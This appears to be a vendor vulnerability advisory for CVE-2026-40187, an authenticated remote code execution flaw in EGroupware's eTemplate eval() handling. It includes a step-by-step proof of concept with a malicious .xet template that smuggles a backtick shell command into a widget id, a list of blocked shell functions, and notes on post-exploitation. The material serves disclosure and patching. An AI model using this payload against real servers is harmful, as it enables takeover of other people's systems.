CVE-2026-40187
CVE-2026-40187 is a OS Command Injection vulnerability in egroupware/egroupware. O3 Security confirms whether CVE-2026-40187 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
EGroupware has Authenticated RCE via Malicious eTemplate Upload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40187.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
egroupware/egroupware🐘egroupware/egroupwareReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated administrator can achieve OS-level Remote Code Execution (RCE) by uploading a malicious eTemplate XML file (.xet) to the VFS /etemplates mount.
The Widget::expand_name() method passes template widget attribute values directly into a PHP eval() call with only double-quote escaping applied - backtick characters are not escaped.
In PHP, backticks inside a double-quoted eval() string execute shell commands. This allows an admin-level user to escalate from web
application access to arbitrary OS command execution on the server.
Details
The vulnerability is located in api/src/Etemplate/Widget.php, Widget::expand_name(): (lines 703–728)
The method is designed to expand PHP variables (e.g., $row, $col,$cont[id]) in widget attribute values for auto-repeat grids. The eval() is triggered whenever $name contains a $ character (line 706). The only sanitization applied before the eval is:
str_replace('"', '\\"', $name)
This escapes double quotes only. Backtick characters are not escaped. In PHP, backticks inside a double-quoted string in eval() are treated as shell execution operators — equivalent to shell_exec(). A widget id of $row\id`` produces:
eval('$name = "$row`id`";'); // executes shell command: id
expand_name() is called from:
form_name()expand_widget()set_attrs()Template::run()
The /etemplates VFS path is created exclusively for admin users — it is chgrp'd to Admins and chmod'd to 075 (Admins group has full rwx): class.filemanager_admin.inc.php:95-106
Custom templates in /etemplates take precedence over built-in filesystem templates, meaning a malicious template can silently override any existing application template.
Mitigating factor: The official Docker deployment sets disable_functions = exec,passthru,shell_exec,system,proc_open,popen in php.ini, which also blocks PHP backtick execution (backticks internally call shell_exec). Non-Docker or non-hardened deployments without this php.ini setting are fully vulnerable. Dockerfile:47
The current master branch in api/setup/setup.inc.php, confirming the vulnerability is present in the latest code as of today. setup.inc.php:14-17
Proof of Concept (PoC)
Prerequisites
- Admin account
- Non-Docker deployment, or Docker deployment where disable_functions has been removed/modified in php.ini
Step 1 — Mount /etemplates:
Log in as admin, navigate to Admin → Filemanager → VFS Mounts, and click "Install custom templates". This executes the code in filemanager_admin.inc.php that mounts /etemplates with Admins-group write access.
Step 2 — Upload malicious template:
Create a file named index.xet with the following content:
<?xml version="1.0" encoding="UTF-8"?>
<overlay>
<template id="admin.index">
<grid>
<columns><column/></columns>
<rows>
<row>
<textbox id="$row`touch /tmp/pwned_egw 2>/dev/null`"/>
</row>
</rows>
</grid>
</template>
</overlay>
Upload this file to /etemplates/admin/templates/default/index.xet via the VFS filemanager.
Step 3 — Trigger execution:
Navigate to the EGroupware admin panel:
https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index
When the template is loaded and beforeSendToClient() runs, form_name() calls expand_name() with $name = '$row\touch /tmp/pwned_egw 2>/dev/null'and$row = 0. The eval becomes:
eval('$name = "$row`touch /tmp/pwned_egw 2>/dev/null`";');
PHP executes the backtick expression as a shell command.
Step 4 — Verify:
Check that /tmp/pwned_egw was created on the server. For a more impactful demonstration, replace touch /tmp/pwned_egw with id > /tmp/pwned_egw to capture the web server's OS user identity.
Impact
Authenticated Remote Code Execution (RCE) via eval() with unsanitized shell metacharacters.
Who is impacted: Any EGroupware installation where:
- An admin account is compromised or a malicious admin exists, AND
- The server is not running with disable_functions blocking shell_exec (i.e., non-Docker or misconfigured deployments)
Severity
The vulnerability allows escalation from EGroupware admin-level web access to arbitrary OS command execution as the web server user (typically www-data). From there, an attacker can read configuration files (including database credentials), pivot to other services, or establish persistence. This is not exploitable by regular (non-admin) users. The official Docker deployment is not affected due to disable_functions, but bare-metal, VM, or custom container deployments without this hardening are fully vulnerable.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | egroupware/egroupware | ≥ 26.0.20251208&&< 26.4.20260413 | 26.4.20260413 |
| 🐘Packagist | egroupware/egroupware | all versions | 23.1.20260601 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for egroupware/egroupware. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update egroupware/egroupware to 26.4.20260413 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40187 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-40187 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-40187. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-40187 in your dependencies?
O3 detects CVE-2026-40187 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.